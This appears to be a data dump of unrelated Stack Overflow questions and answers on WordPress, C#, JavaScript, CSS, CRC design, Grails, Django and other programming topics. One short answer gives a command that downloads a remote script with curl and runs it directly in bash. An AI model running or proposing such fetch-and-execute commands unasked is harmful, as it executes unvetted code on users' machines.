9318941	0	WordPress post query <p>I am trying to show posts with the tag "medical" if they are a child of page 843, and so far, I have everything mostly working. I need to get some HTML within this if statement so that I can enclose it all in a div, and also to set an opening and closing ul for the list.</p> <p>Can someone please help me get over this last hump? I'm just not sure where to add the HTML.</p> <pre><code>&lt;?php if (843 == $post-&gt;post_parent) { global $post; $myposts = get_posts('numberposts=10&amp;tag=medical&amp;order=DESC'); foreach($myposts as $post) : ?&gt; &lt;li&gt;&lt;a href="&lt;?php the_permalink(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/li&gt; &lt;?php endforeach; } ?&gt; </code></pre>
2864958	0	 <p>Checkout this BackgroundWorker <a href="http://www.agiledeveloper.com/articles/BackgroundWorker.pdf" rel="nofollow noreferrer">sample document</a>.</p>
18324045	0	Is using of MemoryMappedFile instance, opened by MemoryMappedFile.OpenExisting method threadsafe? <p>In my WCF service I need to provide functionality of files downloading with supporting of <code>Range</code> HTTP header for chunked downloading. The first call to <code>GetFile</code> method of service creates new <code>MemoryMappedFile</code> instance from file on disk. Let's assume that in time when MMF created by the first request and that request still processing, the second call to <code>GetFile</code> method of service opening existing MMF and returning streamed response to client. What happens if MMF will be disposed (and source file closed on MemoryMappedFile disposing) by thread which create it? Should second call successfully read all content from already opened ViewStream or no?</p> <p>I had wrote small test and seems that till MemoryMappedFile opened by <code>OpenExisting</code> method, it's lifetime extended and source file keeps opened. Is this true, or I missed some pitfall? I can't find any documentation for such case in MSDN.</p> <p><strong>Update</strong>: added additional Thread.Sleep call after existing MMF opened before obtaining MapView of file to simulate threads race</p> <pre><code>private static readonly string mapName = "foo"; private static readonly string fileName = @"some big file"; static void Main(string[] args) { var t1 = Task.Factory.StartNew(OpenMemoryMappedFile); var t2 = Task.Factory.StartNew(ReadMemoryMappedFile); Task.WaitAll(t1, t2); } private static void OpenMemoryMappedFile() { var stream = File.OpenRead(fileName); using (var mmf = MemoryMappedFile.CreateFromFile(stream, mapName, 0, MemoryMappedFileAccess.Read, null, HandleInheritability.None, false)) { Console.WriteLine("Memory mapped file created"); Thread.Sleep(1000); // timeout for another thread to open existing MMF } Console.WriteLine("Memory mapped file disposed"); } private static void ReadMemoryMappedFile() { Thread.Sleep(100); //wait till MMF created var buffer = new byte[1024 * 1024]; //1MB chunk long totalLength = 0; using (var f = File.OpenRead(fileName)) { totalLength = f.Length; } using (var mmf = MemoryMappedFile.OpenExisting(mapName, MemoryMappedFileRights.Read)) { Console.WriteLine("Existing MMF opened successfully"); Thread.Sleep(2000); //simulate threads race using (var viewStream = mmf.CreateViewStream(0, 0, MemoryMappedFileAccess.Read)) { Console.WriteLine("View of file mapped successfully"); File.Delete(Path.GetFileName(fileName)); using (var fileStream = File.Open(Path.GetFileName(fileName), FileMode.CreateNew, FileAccess.Write)) using (var writer = new BinaryWriter(fileStream)) { int readBytes; do { readBytes = viewStream.Read(buffer, 0, buffer.Length); writer.Write(buffer, 0, readBytes); Console.Write("{0:P}% of target file saved\r", fileStream.Length / (float)totalLength); Thread.Sleep(10); //simulate network latency } while (readBytes &gt; 0); Console.WriteLine(); Console.WriteLine("File saved successfully"); } } } } </code></pre>
39565783	0	 <p>We had a similar problem with iReport at work, however in our case it sometimes worked (generated the text in correct font and size) and some times didn't (stuck at default font with size 10).</p> <p>As it turned out, server-side we were using iReport in version <strong>5.5.0</strong>, and while some people generated their <code>.jasper</code> report files with correct desktop iReport version, others used newer desktop iReport <strong>5.6.0</strong> which failed to generate a report file compatible with older server-side version.</p> <p>After we settled on one version (which we decided to be the older <strong>5.5.0</strong> to avoid changes on server side) the problem has been solved.</p> <hr> <p><strong>tl;dr:</strong> Remember to generate your reports with the same version of iReport that you use to print them.</p>
10328270	0	 <p>Turns out it was a programmer error</p> <p>I was calling a webmethod that did not exist.</p> <p>There was no method called MyFunction</p>
33021653	0	Searching Efficiency - Which is faster comparing 10 ints or one 30 bytes string? <p>I'm going to make a sentiment analysis project, with a website frontend to use it. It's designed to analise twitter posts. The analised documents will be put in a database. </p> <p>I'm going to group retrieved posts by the search term in the database. </p> <p>In order to make the database operations faster, I wouldn't like to compare search terms in strings, the idea is to transform the search terms into numbers and use them to find entries in the database.</p> <p>The function I thought of to transform the strings in numbers would be something as follows:</p> <ul> <li>a = 067</li> <li>b = 068</li> <li>...</li> <li>ab = 067068</li> <li>abc = 067068069</li> <li>abcd => i1= 067068069 and i2 = 070</li> </ul> <p>This way, for a 30 length string, I would require 10 ints.</p> <p>So 2 questions: 1- Would there be a better function to transform a 30 length string to a number, without ANY collision ?</p> <p>2- In the case there isn't, in a database filed with a million search terms, would it be better to compare 10 ints per item, or compare 30 length string per item ? Something like </p> <pre><code>Select from terms where i1 == search.i1 and i2 = search.i2 and ... i10 == search.i10 </code></pre> <p>OR</p> <pre><code>Select from terms where term like search.term </code></pre> <p>Thanks for your attention.</p>
18770048	0	Variable affecting its parent variable <p>The title might seems weird, but I don't really know how to describe this situation as I'm a beginner in JavaScript.</p> <p>Here's the code :</p> <pre><code>a={}; var b=a; b['a']='x'; console.log(a); </code></pre> <p>the result will be:</p> <pre><code>Object { a="x"} </code></pre> <p>shouldn't it be a blank object because I set 'x' to variable b only ?</p>
35007108	0	 <p>You can coerce a CF type to an NS type by first re-binding the CFMakeCollectable function so that it takes 'void *' and returns 'id', and then using that function to perform the coercion:</p> <pre><code>ObjC.bindFunction('CFMakeCollectable', [ 'id', [ 'void *' ] ]); var cfString = $.CFStringCreateWithCString(0, "foo", 0); // =&gt; [object Ref] var nsString = $.CFMakeCollectable(cfString); // =&gt; $("foo") </code></pre> <p>To make this easier to use in your code, you might define a .toNS() function on the Ref prototype:</p> <pre><code>Ref.prototype.toNS = function () { return $.CFMakeCollectable(this); } </code></pre> <p>Here is how you would use this new function with a CFString constant:</p> <pre><code>ObjC.import('CoreServices') $.kUTTypeHTML.toNS() // =&gt; $("public.html") </code></pre>
8333998	0	Grails sequence generation for Oracle 11g <p>I realize this is more of a hibernate question than Grails. In a load balanced (2 nodes) environment I see that the ids of my objects are jumping around quite a bit. Even without restarting the app server I see that the numbers skip 10 sometimes 20 numbers. I suspect the hibernate session is caching a block of sequence values. <strong>Is there a way to control this behavior with grails 1.3.7 ?</strong> Essentially I am OK with server pulling nextval from DB every time it needs one.</p> <p>My domain object sequence declaration (same for 2 objects):</p> <pre><code>static mapping = { id generator:'sequence', params:[sequence:'MY_SEQ'] } </code></pre>
9824257	0	 <p><img src="https://i.stack.imgur.com/FtJkK.png" alt="enter image description here"></p> <p>Please go through this link: <a href="http://msdn.microsoft.com/en-us/magazine/cc300437.aspx#S1" rel="nofollow noreferrer">Nine Options for Managing Persistent User State in Your ASP.NET Application</a></p>
28889118	0	 <p>You can use the chart.ylabels.specific option. Eg:</p> <p>obj.set('chart.ylabels.specific', ['1.00','0.80','0.60','0.40','0.20']);</p>
39284597	0	 <h2>Append Hyperlink to list using the Insert Hyperlink Dialog</h2> <p><a href="https://i.stack.imgur.com/go3UT.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/go3UT.jpg" alt="enter image description here"></a></p> <pre><code>Private Sub btnInsertHyperlink_Click() Range("A" &amp; Rows.Count).End(xlUp).Offset(1).Select Application.Dialogs(xlDialogInsertHyperlink).Show End Sub </code></pre>
11362691	0	Weird JavaScript scoping behavior <p>Latey I've got some trouble with some weird javascript behavior. I want to do something like this:</p> <pre><code>var lang = null; function getLang() { if (browserLanguageIsGerman) { lang = 'de'; } else { lang = 'en'; } // alert(lang) shows "de" $('#someID').load(someValidUrl, null, function(response, status, xhr) { if(languageSettingsOnFacebookIsGerman) { lang = 'de'; } else { lang = 'en'; } // alert(lang) show "en" ); // alert(lang) shows "de" } </code></pre> <p>The first and the second alerts show the expacted value 1) "de" 2) "en". The third alert shows "de" but shouldn't it be "en"?! Also the second alert pops up after the third alert.</p> <p>Can someone please obvious bug in my mind? :)</p> <p>Thanks in advance!</p>
12629156	0	 <p>There's a <a href="http://gcc.gnu.org/onlinedocs/gcc/Case-Ranges.html">GCC extension</a> that does exactly what you want.</p>
9144194	0	 <p>It's a python code.</p> <pre><code>&gt;&gt;&gt; import re &gt;&gt;&gt; s = '&lt;span class="address"&gt;413 W. Street&lt;/span&gt;&lt;br&gt;&lt;span class="phone"&gt;218-999-1020&lt;/span&gt;, &lt;span class="region"&gt;WA&lt;/span&gt; &lt;span class="postal-code"&gt;87112&lt;/span&gt;&lt;br&gt;' &gt;&gt;&gt; re.findall(r'address"&gt;(.*?)&lt;.*phone"&gt;(.*?)&lt;.*region"&gt;(.*?)&lt;.*postal-code"&gt;(.*?)&lt;', s) [('413 W. Street', '218-999-1020', 'WA', '87112')] &gt;&gt;&gt; </code></pre> <h1><a href="http://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags">BTW, don't forget to see this</a></h1>
37134648	0	 <p>For this tablelayout defined in xml, following will be the dynamic code in corresponding java file (Activity/Fragment).</p> <pre><code>&lt;TableLayout android:id="@+id/fenceTableLayout" android:layout_width="match_parent" android:layout_height="wrap_content"&gt; &lt;/TableLayout&gt; </code></pre> <p>Activity logic for TableView</p> <pre><code>//Table Layout parameters TableRow.LayoutParams textViewParam = new TableRow.LayoutParams(TableRow.LayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT,1.0f); TableLayout tableLayout = (TableLayout) view.findViewById(R.id.fenceTableLayout); TableRow trHead = new TableRow(context); LayoutParams tableRowParams = new LayoutParams(LayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT); trHead.setLayoutParams(tableRowParams); TextView nameHead = new TextView(context); nameHead.setText("Content left"); nameHead.setLayoutParams(textViewParam); nameHead.setGravity(Gravity.CENTER); trHead.addView(nameHead); TextView detailHead = new TextView(context); detailHead.setText("Content right"); detailHead.setGravity(Gravity.CENTER); detailHead.setLayoutParams(textViewParam); trHead.addView(detailHead); tableLayout.addView(trHead); </code></pre> <p><strong>NOTE:</strong> Many values have been referred from resource files, You can either neglect/replicate those.</p>
32027651	0	 <blockquote> <p>Is Task a specific case where we rely on the native javascript implementation of Task?</p> </blockquote> <p>Exactly. You'll notice that <code>Task</code> the type but not <code>Task</code> the tag (thing on the right) are exported from the module, so you can't actually access the latter. It's a placeholder to make the type system happy.</p> <p>Instead, the Native JavaScript implementation knows what tasks <em>really</em> are, which is <a href="https://github.com/elm-lang/core/blob/2.1.0/src/Native/Task.js#L18-L58" rel="nofollow">a JS object</a>. Any native module dealing with Tasks (either the <code>Task</code> module or any third-party library like <code>elm-http</code>) is in on the secret. However, the <code>Task</code> module exports a good number of helper functions that you can have a lot of control over tasks using only the already published libraries.</p> <p>Clarification Edit: Yes, you need to use a third-party library to get a task that actually does some effect in the outside world. To actually run that task, you need to send it out a port; until you do that a Task is just a <em>description</em> of the work to do.</p>
17440052	0	 <p>I would like you to visit this post :- <a href="http://stackoverflow.com/questions/8574182/best-solution-for-a-drop-down-list-with-over-300-rows">Best solution for a drop down list with over 300 rows?</a> </p> <p>this guy has given the best solution that you need and its good. "autofill dropdown".</p>
12582455	0	 <p>Have you considered <a href="https://notex.ch" rel="nofollow"><strong>NoTex</strong></a>: It is a UI to Sphinx and uses reStructuredText for content and LaTex for presentational issues (like HTML for structure and CSS for design). It's completely browser based, to you don't have to go through the head ache of installing LaTex/XeTex etc.</p> <p>In my opinion reStructuredText is the successor for the <em>content</em> part of LaTex; but since LaTex is so good in producing publication quality PDFs it should be used for the design part. Of course it would be nice to have an engine that's completely independent of LaTex and that translates rST directly into PDFs. Unfortunately <em>none</em> of those tools produce anything that can reach LaTex in terms of quality. </p>
4013228	0	JQuery optimization for searching classes <p>I have some filters on the left. Each filter has an id. The id of that filter is used to filter some results that have the id of the filter in their classes.</p> <p>Filters refer to characteristics of products.. example</p> <pre><code>&lt;a id="filter_colorRED"&gt;RED&lt;/a&gt; ... &lt;li id="item4" class="filter_colorBLUE"&gt;Blah Blah&lt;/li&gt; &lt;li id="item5" class="filter_colorRED "&gt;Blah Blah&lt;/li&gt; &lt;li id="item6" class="filter_colorRED filter_colorBLACK"&gt;Blah Blah&lt;/li&gt; </code></pre> <p>I am looking for the best method to find which filters should be disabled. Disabled filters should be these that dont exist in visible items' classes.</p> <p>For example if colorBlue is applied RED and BLACK should be disabled because the only <code>&lt;li&gt;</code> that has the BLUE class doesn't contain RED or BLACK.</p> <p>My only thought is for each filter to check against results <code>.hasclass(filter's id)</code> but I think that this is poor. Any other idea?</p>
36485869	0	 <p>Your conversion atof in this code</p> <pre><code>for(k = 0; k &lt; 361; k++) { val = atof(result[k]); cal[k] = val; } </code></pre> <p>is going out of bounds of the array 'result'<br> You only allocate memory to elements in the result array when you have data to put in it </p> <p><code>result[i] = malloc(strlen(value) + 1);</code></p> <p>If less than 361 records were created you are reading from unallocated memory - hence the error.</p> <p>You need to keep a record of how many results you have read in and then use that value to ensure that you remain in range as you process the result array.</p> <p>There is no difference between files based on the file extension.</p>
36187713	0	 <p>Postman 4.0.5 has a feature named <em>Manage Cookies</em> located below the <em>Send</em> button which manages the cookies separately from Chrome it seems.</p>
1110589	0	 <p>You <em>could</em> use the static ForEach method:</p> <pre><code>Array.ForEach(x =&gt; fis.Add(new FileInfo(x))); </code></pre> <p>However, you can easily replace the entire function with this one line:</p> <pre><code>IList&lt;FileInfo&gt; fis = Directory.GetFiles(path). Select(f =&gt; new FileInfo(f)).ToList(); </code></pre>
15253274	0	 <p>If you want to just know whenever a click on any part of <code>iFrame</code> happens, just put the <code>iFrame</code> in a <code>div</code> and bind the event to the <code>div</code>.</p>
22905067	0	 <p>Use below.Give your ul a id </p> <pre><code>$('#yourulid li:last-child').val(); </code></pre>
28241767	0	CSS content of input value before the input in a td element <p>I have to print a pretty hefty page / form / table combination and when I print I have multiple text input elements that I can't seem to reduce the width to use only the width needed to display the text without excess width. That excess width effects the <em>ten required columns</em> I have to print.</p> <p>So I've attempted to use CSS Content to move the text from the text input elements in to the parent table data elements. Here is example HTML and CSS:</p> <pre><code>&lt;td&gt;&lt;input type="text" value="Deadly Ninja Robots" /&gt;&lt;/td&gt; </code></pre> <p>The CSS I have tried:</p> <pre><code>form fieldset input[type='text'] {display: none;} form fieldset input[type='text']:before {content: form fieldset input[type='text'](value) ": ";} </code></pre> <p>How do I take the value of text input elements and display them inside the table data element that is the direct parent of the text input element itself?</p>
4058739	0	 <p>The error lies on the client side, so you want to use a <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.4" rel="nofollow">4xx</a> status code. I'd go with <a href="http://restpatterns.org/HTTP_Status_Codes/400_-_Bad_Request" rel="nofollow">400 - Bad Request</a>:</p> <blockquote> <p>The request could not be understood by the server due to malformed syntax. The client SHOULD NOT repeat the request without modifications.</p> </blockquote>
9737040	0	 <p>That book seems to be assuming the compiler inlines at a source level, this of course totally depends on the compiler. Most will begin inlining at the AST level, where transforms and certain optimizations can and will occur. This all assumes the compiler <em>will</em> inline the code.</p> <p>If we look at your function, any <em>decent</em> compiler will turn them both into the same IR code, as it will compile the inline function before it is inlined, thus a temporary is required regardless (at IR level). when the IR is then actually inlined, the temporary will be folded away and instead replaced with the assignment destination of the call to <code>max</code>.</p> <p>When we compile down to machine code, things can change even more, not only can temporaries be removed, but the destination will most likely be a register (in this case), which will have probably been used for on of the source operands as well.</p> <p><strong>Bottom Line:</strong> This totally depends on your compiler, optimization levels and how it does variable livelyness analysis, value propagation and folding. </p>
1930760	0	 <p>You can accomplish this in 2 different ways:</p> <p>1) You could use the return value of <code>parseLink()</code> and re-assign the variable in the array:</p> <pre><code>$myText = parseLink($myArray[0]['text']); $myArray[0]['text'] = $myText; </code></pre> <p>2) You can modify your <code>parseLink()</code> function to accept the argument by reference which would cause it to be modified in place:</p> <pre><code>function parseLink(&amp;$text) { $text = ereg_replace("[[:alpha:]]+://[^&lt;&gt;[:space:]]+[[:alnum:]/]","&lt;a href=\"\\0\"&gt;\\0&lt;/a&gt;", $text); return $text; } parseLink($myArray[0]['text']); </code></pre>
19424544	0	 <p>Try this:</p> <pre><code>padding: #{$padding / 10}rem; </code></pre> <p>Concatenating in SASS/SCSS uses ruby syntax, and you were mixing a mathematical equation followed by a concatenation, which is a variable type mix, so it's not suprising to me that it didn't work.</p> <p>Expressions and variables included within #{here} are assesed as if seperate to the rest of the line, and thus don't typecast the rest of the line. Also comes in handy if your output is getting quoted when you didn't expect (as does the unquote() function)</p>
9703050	0	 <p>Could be something like that:</p> <pre><code>str.replace(/["']/g,"\\$&amp;"); </code></pre>
104844	0	Default Printer in Unmanaged C++ <p>I'm looking for a way to find the name of the Windows default printer using unmanaged C++ (found plenty of .NET examples, but no success unmanaged). Thanks.</p>
15126642	0	CSS character encoding <p>According to <a href="http://www.w3.org/International/questions/qa-css-charset.en.php" rel="nofollow">W3C</a>, CSS can set its character encoding by <code>@charset</code> in the first line, is it valid to to say that I should put <code>@charset "UTF-8"</code> in every CSS i made, even it only contains ASCII characters?</p> <p>Will there be any performance penalty after I declare it using UTF-8 ?</p> <p><em>p.s. I can't think of a way to test it out.</em></p>
29174740	0	 <p>If everything in one employee table with field "manager" pointing to employee id, then what kind of relationship is that? Recursive? Many to one?</p>
27921989	0	 <p>In almost all cases, font glyphs are composed of <strong>filled shapes</strong>. They don't use the stroke (line). So when your SVGs are being converted to a font, the font SVGs are getting a fill applied, even if they didn't have one before.</p> <p>The differences between browsers is probably explained by the fact that each browser may be loading a different generated font type. Eg. woff vs TTF etc.</p> <p>The fix is to design your SVGs so that they only use filled shapes and <strong>don't</strong> rely on strokes (ie. line colour, width etc). If you follow the following rules, your glyphs should always work when converted:</p> <ol> <li>Keep your line colour as "none" or "transparent",</li> <li>Never use any fill colour except black (ie. don't use "white" to make holes)</li> <li>Never let shapes cross over themselves or other shapes.</li> </ol> <p>So, for example, in the case of your star, it should be designed as a filled star shaped object with a star shaped hole in it.</p>
13083753	0	 <p>I put a breakpoint in the getControl method and was able to determine why I was getting the error. <code>$("#SwitchUserDropdown")</code> was not finding anything so when the code below was running it threw the error:</p> <pre class="lang-cs prettyprint-override"><code>var id = Tridion.Utils.Dom.getUniqueID(element); if (id) { var control = instances[id]; if (!control) { control = instances[id] = new ctor(element, settings); if (Tridion.Type.isFunction(control.initialize)) { control.initialize(); } } } else { Tridion.Utils.Assert.raiseError("Unable to get unique id for element."); } return control; </code></pre> <p>It seems obvious now that I know why it was happening that the code was running at the wrong time. I believe it shouldn't run when the CME loads, but only when the popup is opened. This leads me to look at the configuration of the resources in my Editor config file. I had previously grouped my popup's JS with other resources associated with the ribbon toolbar button. By placing the popup specific resources in their own resource group I was able to stop the error and successfully get the control.</p>
33755356	0	 <p>Put an @ before the jar file path as below:</p> <pre><code>curl --data-binary @/opt/hadoop/spark-jobserver/job-server-api/target/scala-2.10/job-server-api_2.10-0.6.1-SNAPSHOT.jar localhost:8090/jars/test </code></pre>
15035642	0	 <blockquote> <p>And you could assume that I'm drawing into a BufferedImage, which I do sometimes, in fact.</p> </blockquote> <p>See <a href="http://tips4java.wordpress.com/2008/10/13/screen-image/" rel="nofollow">Screen Image</a>, which can also create a component image.</p>
8384	0	 <p>Based on NilObject's code:</p> <pre><code>#include &lt;sys/stat.h&gt; off_t fsize(const char *filename) { struct stat st; if (stat(filename, &amp;st) == 0) return st.st_size; return -1; } </code></pre> <p>Changes:</p> <ul> <li>Made the filename argument a <code>const char</code>.</li> <li>Corrected the <code>struct stat</code> definition, which was missing the variable name.</li> <li>Returns <code>-1</code> on error instead of <code>0</code>, which would be ambiguous for an empty file. <code>off_t</code> is a signed type so this is possible.</li> </ul> <p>If you want <code>fsize()</code> to print a message on error, you can use this:</p> <pre><code>#include &lt;sys/stat.h&gt; #include &lt;string.h&gt; #include &lt;stdio.h&gt; #include &lt;errno.h&gt; off_t fsize(const char *filename) { struct stat st; if (stat(filename, &amp;st) == 0) return st.st_size; fprintf(stderr, "Cannot determine size of %s: %s\n", filename, strerror(errno)); return -1; } </code></pre> <p>On 32-bit systems you should compile this with the option <code>-D_FILE_OFFSET_BITS=64</code>, otherwise <code>off_t</code> will only hold values up to 2 GB. See the "Using LFS" section of <a href="http://www.suse.de/~aj/linux_lfs.html" rel="nofollow noreferrer">Large File Support in Linux</a> for details.</p>
31105116	0	What are those new files after Activator 1.3.5 update? <p>Today while starting my Play app with <code>activator run</code> the new Activator version 1.3.5 got installed automatically. My app's running perfectly fine. But now I see a couple of new files in my app's folder and I don't know what they are or how to handle them. Maybe someone can advice me. Google didn't help me much so far. Those files are </p> <ul> <li>.sbtserver</li> <li>.sbtserver.lock</li> <li>play-fork-run.sbt</li> <li>sbt-ui.sbt</li> </ul> <p>Except for the .sbtserver.lock they all look like configuration files. But what are they configuring? And should I put them under version control?</p>
21414697	0	 <p>Try this:</p> <pre><code>gci *.txt |% {write-host "`r$($_.name)" -NoNewline; Start-Sleep -Seconds 1} </code></pre>
28714815	0	Calculating CRC initial value instead of appending the CRC to payload <p>Most of the CRCs I've implemented were <strong>appending</strong> the calculated CRC value to the message (payload) and checking for a zero result at the receiver after all bytes incl. CRC value were fed through the CRC register. Obviously this is a quite standard approach.</p> <p>Now I would like to use a different approach:</p> <ol> <li>Calculate a value from the payload.</li> <li>Use that value as initial value for the CRC register <strong>before</strong> the message bytes (payload) are fed through the CRC register such that the result after the last byte of the payload was fed through will be zero.</li> </ol> <p>What is the best approach to do this? Does one have a good idea or some pointers where to dig deeper?</p> <p>ps: Why I want to do this? In some applications (ROM) I cannot append data as the data is stored at the end of address space of a ROM. So I'd like to either preload the CRC register or prepend the value to the message.</p>
32402444	0	Where is @AroundInvoke interceptor invoked? <p>I'm doing some test examples with java, and I come up with an example that uses @AroundInvoke. The question is that I don't know exactly where is the method invoked.</p> <p>This test makes an invocation where it calls post() method, but I don't really know how that works (<a href="https://docs.oracle.com/javaee/6/tutorial/doc/gkedm.html" rel="nofollow">Using Interceptors explanation</a>).</p> <pre><code>@Test public void crudtest() { JsonObjectBuilder todoBuilder = Json.createObjectBuilder(); JsonObject todoToCreate = todoBuilder. add("caption", "implement"). add("priority", 10). build(); //The next post execute, invoke the method Response postResponse = this.provider.target().request(). post(Entity.json(todoToCreate)); } </code></pre> <p>The order of invocation is BoundaryLogger and then MonitorSink</p> <p><strong>BoundaryLogger.java</strong></p> <pre><code>... public class BoundaryLogger { @Inject Event&lt;CallEvent&gt; monitoring; @AroundInvoke public Object logCall(InvocationContext ic) throws Exception { long start = System.currentTimeMillis(); try { return ic.proceed(); } finally { long duration = System.currentTimeMillis() - start; monitoring.fire(new CallEvent(ic.getMethod().getName(), duration)); } } } </code></pre> <p><strong>MonitorSink</strong></p> <pre><code>@Singleton @ConcurrencyManagement(ConcurrencyManagementType.BEAN) public class MonitorSink { @Inject LogSink LOG; public void onCallEvent(@Observes CallEvent event){ LOG.log(event.toString()); } } </code></pre>
30348888	0	 <p>It's always better to use mathematical function to perform mathematical operations.<br> Not only does it make the code more readable, it's also likely to have better performance.<br> Therefor, as <a href="http://stackoverflow.com/users/3832970/stribizhev">stribizhev</a> wrote in the comments - <code>Use #1</code> :).</p> <p>Also, your regular expression does not take into consideration that different cultures might have different decimal separators.<br> Not everyone is writing one and a quarter as <code>1.25</code>, some cultures use <code>,</code> as the decimal separator and thus it's written as <code>1,25</code>.<br> Should you encounter a decimal like that, your regular expression will not work as you expect.</p>
6447438	0	 <p>On merges SVN updates internal properties named <code>mergeinfo</code>. To inspect the actual properties that have changed with the merging on <code>a/b/aFolder</code> you can issue:</p> <pre><code>svn propget svn:mergeinfo a/b/aFolder </code></pre>
35943513	0	 <p>You need to make a <a href="http://php.net/manual/en/language.operators.string.php" rel="nofollow">concatenation in php</a></p> <p>in your example use "." instead of "+"</p> <p>$string = $userNode->getFirstName() . $userNode->getLastName();</p>
1792670	0	 <p>You can try the <a href="http://code.google.com/p/symja/wiki/MathExpressionParser" rel="nofollow noreferrer">math expression parser</a> from my <a href="http://code.google.com/p/symja/" rel="nofollow noreferrer">Symja</a> project.</p>
40045079	0	HTML created by PHP is created out of sequence <p>I have a PHP file which outputs some HTML.</p> <p>For ease of configuration I have a <code>second</code> PHP file that is included in the <code>first</code> PHP file. This included file simply contains an array definition as follows:</p> <pre><code>&lt;? $myArray = array("key1"=&gt;"value 1","key2"=&gt;"value 2","key3"=&gt;"value 3"); ?&gt; </code></pre> <p>In my first PHP file I have the following</p> <pre><code>&lt;? include("second.php"); ?&gt; &lt;label&gt;Select here: &lt;select id='mySelect'&gt; &lt;? foreach ($myArray as $keyString=&gt;$valueString) { ?&gt; &lt;option value='&lt;?= $keyString; ?&gt;'&gt;&lt;?= $valueString; ?&gt;&lt;/option&gt; &lt;? } ?&gt; &lt;/select&gt; &lt;/label&gt; </code></pre> <p>However the HTML output is generated as follows:</p> <pre><code>&lt;label&gt;Select here: &lt;select id='mySelect'&gt; &lt;/select&gt; &lt;option value='key1'&gt;value 1&lt;/option&gt; &lt;option value='key2'&gt;value 2&lt;/option&gt; &lt;option value='key3'&gt;value 3&lt;/option&gt; &lt;/label&gt; </code></pre> <p>which renders as an empty select dropdown with the text of the options shown below it!</p> <p>I'm sure this is something stupid and simple as I'm sure I have done this many times before without problems...</p> <hr> <p>[Update]</p> <p>After investigation it turns out that this is only happening when I display the <code>first</code> PHP page within FancyBox - when I load it directly the options are included in the <code>&lt;select&gt;</code> as you would expect.</p> <p>The FancyBox is opened via JavaScript via the onClick event of an image as follows (the image is on the background page that the FancyBox opens on, it is not part of first.php or second.php):</p> <pre><code>&lt;img src="myImage.png" alt="my image" onClick="openFirstPHP();"&gt; </code></pre> <p>in my JavaScript I have (in <code>first.js</code> which is included in <code>first.php</code> with the usual <code>&lt;SCRIPT&gt;</code> tags):</p> <pre><code>function openFirstPHP() { $.fancybox({ href: "/first.php", type: "ajax", afterShow: function() { // do some setting of some radio buttons' states - which works fine } }); } </code></pre> <p>For info, the reason I call <code>first.php</code> this way rather than in an iFrame or whatever is that it interacts with the calling page as well and so avoid me having to reference a different document object (I think).</p> <p>Basically everything else works without problems in <code>first.php</code> - the reading and settings of cookies, the interaction with the calling PHP page variables etc. The only thing that is not working is the insertion of these <code>&lt;options&gt;</code> tags out of sequence with the <code>&lt;select&gt;</code> tags.</p>
12420251	0	 <p>The expression <code>[[]]</code> actually consists of two concatenated subexpressions: <code>[[]</code> and <code>]</code>.</p> <ul> <li><code>[[]</code> is character class that matches only <code>[</code> characters. Having <code>[</code> is only possible at the very beginning of a character class.</li> <li><code>]</code> is just a normal character if outside of a character class.</li> </ul> <p>Both are concatenated thus your expression matches any character of <code>[</code> followed by <code>]</code>, which results in matching <code>[]</code>.</p>
2648882	0	 <p>As for where the error comes from, we have the following type constraints</p> <pre><code>// Cprod: seq&lt;`a&gt; -&gt; seq&lt;`a&gt; -&gt; `a list list let Cprod U V = ... // Cpower: seq&lt;`a&gt; -&gt; int -&gt; ??? let Cpower U n = // V: seq&lt;`a&gt; let mutable V = U // n: int for i=0 to n-1 do (* The next line implies two type constraints: V: seq&lt;`a&gt; V: `a list list *) V &lt;- Dprod U V V </code></pre> <p>That <code>V</code> must be an <code>seq&lt;&#x60;a&gt;</code> and an <code>&#x60;a list list</code>, and that U and V must have the same type means that <code>&#x60;a = &#x60;a list</code>, which is what results in the "infinite type" error message (the infinity type is <code>... list list list list</code>. Even though the value of <code>V</code> is mutable, it must have a single type.</p>
9276389	0	Template method of template class specialization <p>Here is my code:</p> <pre><code>template&lt;typename T1, typename T2&gt; class MyClass { public: template&lt;int num&gt; static int DoSomething(); }; template&lt;typename T1, typename T2&gt; template&lt;int num&gt; int MyClass&lt;T1, T2&gt;::DoSomething() { cout &lt;&lt; "This is the common method" &lt;&lt; endl; cout &lt;&lt; "sizeof(T1) = " &lt;&lt; sizeof(T1) &lt;&lt; endl; cout &lt;&lt; "sizeof(T2) = " &lt;&lt; sizeof(T2) &lt;&lt; endl; return num; } </code></pre> <p>It works well. But when I try to add this</p> <pre><code>template&lt;typename T1, typename T2&gt; template&lt;&gt; int MyClass&lt;T1, T2&gt;::DoSomething&lt;0&gt;() { cout &lt;&lt; "This is ZERO!!!" &lt;&lt; endl; cout &lt;&lt; "sizeof(T1) = " &lt;&lt; sizeof(T1) &lt;&lt; endl; cout &lt;&lt; "sizeof(T2) = " &lt;&lt; sizeof(T2) &lt;&lt; endl; return num; } </code></pre> <p>I get compiller errors: invalid explicit specialization before «>» token template-id «DoSomething&lt;0>» for «int MyClass::DoSomething()» does not match any template declaration</p> <p>I use g++ 4.6.1 What should I do?</p>
11208364	0	 <p>You can use following code,</p> <pre><code>objectProduct.subProduct = new SubProduct{ ID = id,foo = value }; </code></pre>
5735730	0	 <p>Try just:</p> <pre><code>bash &lt;(curl -s http://mywebsite.com/myscript.txt) </code></pre>
29382123	0	 <p>You might have tried this already, but if you are using <code>django.contrib.auth.views</code>, then you could try calling <a href="https://docs.djangoproject.com/en/1.7/topics/auth/default/#how-to-log-a-user-out" rel="nofollow"><code>django.contrib.auth.logout(request)</code></a> to log out the user if they do not want to be remembered, then login as per your existing code:</p> <pre><code>from django.contrib.auth import logout def login(request, *args, **kwargs): if request.method == 'POST': if not request.POST.has_key('remember_me'): saved_user = getattr(request, 'user', None) logout(request) if saved_user is not None: request.user = saved_user return auth_views.login(request, *args, **kwargs) </code></pre> <p>This should work because <code>django.contrib.auth.login()</code> is called behind the scenes. The documentation says that the session is cleared out.</p>
